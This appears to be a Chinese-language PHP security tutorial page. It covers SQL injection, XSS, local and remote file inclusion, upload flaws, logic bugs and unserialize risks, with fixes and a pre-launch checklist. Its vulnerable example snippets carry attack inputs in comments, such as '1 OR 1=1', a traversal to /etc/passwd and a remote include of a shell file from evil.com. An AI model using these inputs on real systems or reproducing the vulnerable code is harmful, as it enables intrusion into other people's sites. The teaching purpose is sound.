首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP 常見漏洞成因分析與防範實戰:注入、XSS、文件包含、邏輯缺陷

     編輯:PHP 相關知識

漏洞分類與核心防禦原則

核心原則:輸入驗證(白名單) + 輸出編碼(上下文感知) + 最小權限 + 深度防禦。

1. SQL 注入

成因

// 直接拼接用戶輸入
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = {$id}"; // 攻擊輸入: 1 OR 1=1
$res = mysql_query($sql);

防範

  • 唯一正解:預處理語句 + 參數綁定(PDO / mysqli)。
  • 嚴禁手動拼接、addslashes、mysql_real_escape_string(已棄用)。
  • ORM/Query Builder 確保底層使用參數綁定。
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$_GET['id']]); // 安全

2. XSS (跨站腳本攻擊)

成因

<div>歡迎, <?= $_GET['name'] ?></div> // 攻擊輸入: 

防範

  • 模板引擎自動轉義(Blade、Twig、Lathe、ThinkPHP 模板)。
  • 手動輸出時:htmlspecialchars($str, ENT_QUOTES, 'UTF-8')。
  • HTML 內容富文本:使用 HTMLPurifier 白名單過濾標籤/屬性。
  • 設置 Content-Security-Policy 頭部限制腳本來源。

3. 文件包含漏洞 (LFI/RFI)

成因

$page = $_GET['page'] ?? 'home';
include "{$page}.php"; // 攻擊: ../../etc/passwd、https://evil.com/shell.txt

防範

  • 白名單驗證:in_array($page, ['home','about','contact'], true)。
  • 禁用 allow_url_include (PHP 7.4+ 已移除)。
  • 使用路由控制器模式,徹底消除動態 include。

4. 文件上傳漏洞

成因

  • 僅檢查擴展名/Content-Type,未驗證文件頭(魔數)。
  • 上傳目錄可執行腳本(Nginx/Apache 未禁用 PHP 解析)。
  • 文件名可控,導致覆蓋關鍵文件、路徑遍歷。

防範

  • 隨機文件名 + 白名單擴展名 + 魔數驗證(finfo)。
  • 上傳目錄配置 php_flag engine off / SetHandler default-handler。
  • 文件存儲於 Web 根目錄外,通過 PHP 讀取輸出(readfile/X-Sendfile)。

5. 邏輯/業務漏洞

漏洞類型典型場景防範措施
越權訪問 (IDOR)/order/123 直接修改 ID 訪問他人訂單每次查詢校驗資源屬於當前用戶(WHERE user_id = ?)
重放攻擊表單重複提交、API 重放Token 單次驗證、冪等 Key、簽名機制
暴力破解登錄、短信、找回密碼無限制限流(IP/用戶/設備)、驗證碼、賬號鎖定
信息洩露錯誤頁面顯示堆疊、.git/.env 文件可訪問關閉 display_errors、Web 服務器屏蔽隱藏文件
CSRF關鍵操作無 Token 驗證SameSite Cookie + 雙重提交 Token / 標頭驗證

6. 反序列化漏洞

// 直接反序列化用戶輸入
$data = unserialize($_COOKIE['data']); // 攻擊構造 __destruct 鏈導致 RCE

防範

  • 嚴禁 unserialize 處理不可信數據。
  • 必須使用 JSON、igbinary 等安全格式。
  • 若必須用 serialize,PHP 7+ 設置 allowed_classes 白名單:unserialize($data, ['allowed_classes' => ['MyDTO']])。

安全開發檢查清單 (上線前必查)

  1. 所有 SQL 使用預處理?
  2. 所有輸出經過上下文編碼?
  3. 文件上傳雙重驗證(類型+內容)?
  4. 敏感操作有 CSRF Token?
  5. 錯誤頁面不洩露堆疊/路徑?
  6. 配置文件/版本控制目錄不可 Web 訪問?
  7. 依賴組件無已知 CVE(composer audit)?
  8. HTTPS 全站強制、HSTS、安全頭部完整?
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved